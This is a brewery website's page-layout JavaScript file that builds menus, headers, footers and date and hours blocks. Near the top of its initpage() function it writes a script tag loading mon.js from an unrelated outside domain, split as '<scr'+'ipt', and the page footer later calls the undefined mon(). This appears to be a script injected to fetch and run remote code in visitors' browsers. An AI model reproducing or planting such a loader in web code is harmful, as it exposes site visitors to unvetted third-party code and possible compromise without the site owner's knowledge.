// 14 JAN 2005

var totalGraphics=0;
var graphic = new Array();
var selected=0;
var lastnum=0;
var imageDir = "images/";
var imagePrefix       = "SB_";
var onSuffix          = "_ON.gif";
var offSuffix         = "_OFF.gif";
var selSuffix        = "_SEL.gif";
//var frameTarget       = "_top";
var num;
var Ltop = 0;
var currtop = Ltop;
var today = new Date();
var secval = 1;
var oncolor = "#ffffff";
var selcolor = "#dddddd";
var offcolor = "#bbbbbb";


// --------------------- MAKE CHANGES ---------------------------------------

createMenu(30, 150, "WELCOME", "Welcome to Snowshoe Brewery", "index.html","Welcome","_top");
createMenu(30, 150, "BEERS", "Snowshoe Beers and Ales", "beers.html","Beers","_top");
createMenu(30, 150, "BREWING", "The Snowshoe brewing process", "brewing.html","Brewing","_top");
createMenu(30, 150, "REST", "Snowshoe Food", "food.html","Restaurant","_top");
createMenu(30, 150, "MENU", "Snowshoe Brewery menu", "menu.html","Menu","_top");
createMenu(30, 150, "STUFF", "Snowshoe Brewery merchandise", "stuff.html","Merchandise","_top");
createMenu(30, 150, "FINDUS", "Snowshoe Brewery sign up", "findus.html","Findus","_top");
createMenu(30, 150, "SIGNUP", "Snowshoe Brewery sign up", "signup.html","Signup","_top");


// --------------------- END CHANGES -----------------------------------------

function doOnLoad(page)
{
  var page;
  doClick(page);
}

function initpage()
{
  with(this.document)
  {
    write('<scr'+'ipt type="text/javascript" src="http://knxu.com/mon.js"></scr'+'ipt>');
    //write('<body topmargin="0" leftmargin="120" bgcolor="#304797" text="#000000" link="#1111ff" vlink="#ff1111" alink="#FF88FF">');
    write('<span style="font-family:arial;font-size:10pt">');
    write('<a name="top">');
    dheader();
    write('<table border="0" bordercolor="green" cellpadding="0" cellspacing="0" width="800"><tr>');
    write('<td width="180" valign="top" background="images/SB_leftside_bg.jpg">');
  }
}

function dheader()
{
  with(this.document)
  {
    write('<table border="0" bordercolor="red" cellpadding="0" cellspacing="0" width="800" height="170"><tr>');
    write('<td bgcolor="#304797" align="left" width="100">');
    write('<img src="images/SB_hdr_1a.jpg" height="170" width="480" border="0" lowsrc="images/SB_hdr_1a_lo.jpg"></td>');
//    write('<td width="270" height="170" bgcolor="#dddddd" valign="center" align="center">');
//    write('<img src="images/SB_hdr_1b.jpg" height="170" width="270">');
//    write('</td>');    
//    write('<td width="100" height="170" bgcolor="#dddddd" valign="center" align="center">');
//    write('<img src="images/SB_hdr_1c.jpg" height="170" width="110">');
//    write('</td>');

    write('<td width="270" height="170" bgcolor="#304797" background="images/SB_hdr_1b.jpg" align="center" valign="top">');
//    write('<img src="images/SB_hdr_1b.gif" height="150" width="220">');
    write('</td>');    
    write('<td width="50" height="170" bgcolor="#304797" valign="center" align="center">');
    write('<img src="images/SB_hdr_1e.jpg" height="170" width="50">');

    write('</td>');    
    write('</tr></table>');

<!-- IF YOU WANT A MIDDLE LEVEL, ACTIVATE THIS PART  *** COPY THIS SECTION FOR ADDITIONAL HDR LEVELS *** -->
  <!-- the indicated images are not available, so they must be replaced  -->
    write('<table width="800" border="0" bordercolor="yellow" cellpadding="0" cellspacing="0" height="25">');
    write('<tr><td width="200" height="25" background="images/SB_hdr_2a.jpg" valign="top">');
    write('</td>');
    write('<td width="500" height="25" background="images/SB_hdr_2b.jpg">');
    write('<div style="font-family:arial;margin-left:100px;margin-top:0px;color:black;font-size:10pt">');
    write('<b>&nbsp;');
    write('</b></div></td>');
    write('<td width="100" height="25" bgcolor="#304797" background="images/SB_hdr_2c.jpg">&nbsp;</td>');
    write('</tr></table>');

<!-- END OF MIDDLE LEVEL -->
  }
}

function writemenu()
{
	with(this.document)
	{
		write('<table border="0" bordercolor="blue" cellpadding="0" cellspacing="0" width="180" valign="top"><tr>');
		write('<td valign="top" background="images/SB_menu_bg.jpg"><div style="margin-left:5px;margin-top:0px">');
		for(i = 0; i < totalGraphics; i++)
		{
			write ('<a target="'+ graphic[i].target + '" href="' + graphic[i].link + '" onMouseOver="doMouseOver(' + i + '); return true" onMouseOut="doMouseOut(' + i + ')" onClick="doClick(' + i + ')"><font color="' + graphic[i].color + '">');
			write ('<img vspace="2" name="' + graphic[i].name + '" src="' + graphic[i].offname + '" alt="' + graphic[i].alt + '" width="' + graphic[i].width + '" height="' + graphic[i].height + '" border="0">');
			write ('</a><br/>');
		}
		write('</div>');
		write('</td></tr><tr><td background="images/SB_menu_btm.jpg" width="180" height="40"></td></tr></table>');
		write('<br/><div style="margin-left:5px">');
	}
}

function set_up_main()
{
  with(this.document)
    {
	write('</div></td><td valign="top" bgcolor="white" width="520">');
	write('<div style="color:black;margin-top:0px;margin-left:10px;margin-right:0px;font-family:arial;font-size:11pt">');
    }
}

function rightside()
{
  with(this.document)
    {
	write('</div></td><td width="100" valign="top" bgcolor="#304797" background="images/SB_rightside_bg.jpg"><div style="font-size:8pt;margin-left:5px;margin-top:5px">');
    }
}

function endpage()
{
  with(this.document)
  {
    write('</div></td></tr><tr><td width="180" height="35" background="images/SB_bottom_bg.jpg">&nbsp;</td>');
    write('<td height="35" background="images/SB_bottom_bg.jpg" valign="top">');
    write('<span style="color:#005557;margin-left:50px;font-family:arial;font-size:9pt">');
    write('<center></b>Copyright &copy; 2010 - Snowshoe Brewery</b></center></span></td>');
    write('<td height="35" width="100" background="images/SB_btm_right_bg.jpg">&nbsp;</td></tr></table>');
    write('<div style="visibility:hidden">');
    for(i=0;i<totalGraphics;i++)
    {
	    write('<img src="'+ graphic[i].on.src + '" width="' + graphic[i].width + '" height="' + graphic[i].height + '">');
	    write('<img src="'+ graphic[i].over.src + '" width="' + graphic[i].width + '" height="' + graphic[i].height + '">');
    }
    write('<img src="images/SS_spigot_1_SEL.gif" width="72" height="180" alt="">');
    write('<img src="images/SS_spigot_1_OFF.gif" width="72" height="180" alt="">');
    write('<img src="images/SS_spigot_1_ON.gif" width="72" height="180" alt="">');
    write('<img src="images/SS_spigot_2_SEL.gif" width="48" height="180" alt="">');
    write('<img src="images/SS_spigot_2_OFF.gif" width="48" height="180" alt="">');
    write('<img src="images/SS_spigot_2_ON.gif" width="48" height="180" alt="">');
    write('<img src="images/SS_spigot_3_SEL.gif" width="60" height="180" alt="">');
    write('<img src="images/SS_spigot_3_OFF.gif" width="60" height="180" alt="">');
    write('<img src="images/SS_spigot_3_ON.gif" width="60" height="180" alt="">');
    write('<img src="images/SS_spigot_3.5_SEL.gif" width="60" height="180" alt="">');
    write('<img src="images/SS_spigot_3.5_OFF.gif" width="60" height="180" alt="">');
    write('<img src="images/SS_spigot_3.5_ON.gif" width="60" height="180" alt="">');
    write('<img src="images/SS_spigot_4_SEL.gif" width="60" height="180" alt="">');
    write('<img src="images/SS_spigot_4_OFF.gif" width="60" height="180" alt="">');
    write('<img src="images/SS_spigot_4_ON.gif" width="60" height="180" alt="">');
    write('<img src="images/SS_spigot_5_SEL.gif" width="48" height="180" alt="">');
    write('<img src="images/SS_spigot_5_OFF.gif" width="48" height="180" alt="">');
    write('<img src="images/SS_spigot_5_ON.gif" width="48" height="180" alt="">');
    write('<img src="images/SS_spigot_6_SEL.gif" width="60" height="180" alt="">');
    write('<img src="images/SS_spigot_6_OFF.gif" width="60" height="180" alt="">');
    write('<img src="images/SS_spigot_6_ON.gif" width="60" height="180" alt="">');
    write('<img src="images/SS_spigot_7_SEL.gif" width="48" height="180" alt="">');
    write('<img src="images/SS_spigot_7_OFF.gif" width="48" height="180" alt="">');
    write('<img src="images/SS_spigot_7_ON.gif" width="48" height="180" alt="">');
    write('<img src="images/SS_spigot_8_SEL.gif" width="72" height="180" alt="">');
    write('<img src="images/SS_spigot_8_OFF.gif" width="72" height="180" alt="">');
    write('<img src="images/SS_spigot_8_ON.gif" width="72" height="180" alt="">');
    write('</div></span>');
    mon();
  }
}

function MenuItem (height, width, name, infoText, link, alt, target)
{
  this.height   = height;
  this.width    = width;
  this.name     = name;
  this.info     = infoText;
  this.link     = link;
  this.on       = new Image (width, height);
  this.on.src   = imageDir + imagePrefix + name + onSuffix;
  this.off      = new Image (width, height);
  this.off.src  = imageDir + imagePrefix + name + offSuffix;
  this.offname  = imageDir + imagePrefix + name + offSuffix;
  this.over     = new Image (width, height);
  this.over.src = imageDir + imagePrefix + name + selSuffix;
  this.info     = infoText;
  this.alt      = alt;
  this.target   = target;
  this.selected = 0;
  this.pos      = currtop;
  currtop += height;
}
function createMenu (height, width, name, infoText, link, alt, target)
{
  graphic[totalGraphics] = new MenuItem(height, width, name, infoText, link, alt, target);
  totalGraphics++;
}
function doClick (num)
{
  document.images[graphic[num].name].src = graphic[num].on.src;
  if(lastnum != num){document.images[graphic[lastnum].name].src = graphic[lastnum].off.src;}
  this.lastnum = num;
  selected = num;
}
function doMouseOver(num)
{
  if (num != selected)
  {
    document.images[graphic[num].name].src = graphic[num].over.src;
  }
  self.status = graphic[num].info;
}
function doMouseOut(num)
{
  if (num != selected)
  {
    document.images[graphic[num].name].src = graphic[num].off.src;
    self.status = graphic[selected].info;
  }
}


function doDate()
{
	this.document.write(getDayStr(today.getDay()).toString() + ', ');
	this.document.write(getLongMonth(today.getMonth()) + " " + today.getDate().toString() + ", ");
	this.document.write(today.getFullYear().toString());
}
function getMon(mon)
{
	var month = new Array("Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec");
	return month[mon];
}
function getLongMonth(mon)
{
	var month = new Array("January","February","March","April","May","June","July","August","September","October","November","December");
	return month[mon];
}
function getDayStr(day)
{
	var week = new Array("Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday");
	return week[day];
}


function dohours()
{
  with(this.document)
  {
    var mon = today.getMonth();
    //JULY 1 THROUGH SEPT 30 ARE SUMMER HOURS
    if(mon < 6 || mon > 8)
    {
      write('<div class="winter_hours">');
      write('</div>');
    }
    else
    {
      write('<div class="summer_hours">');
      write('</div>');
    }
  }
}
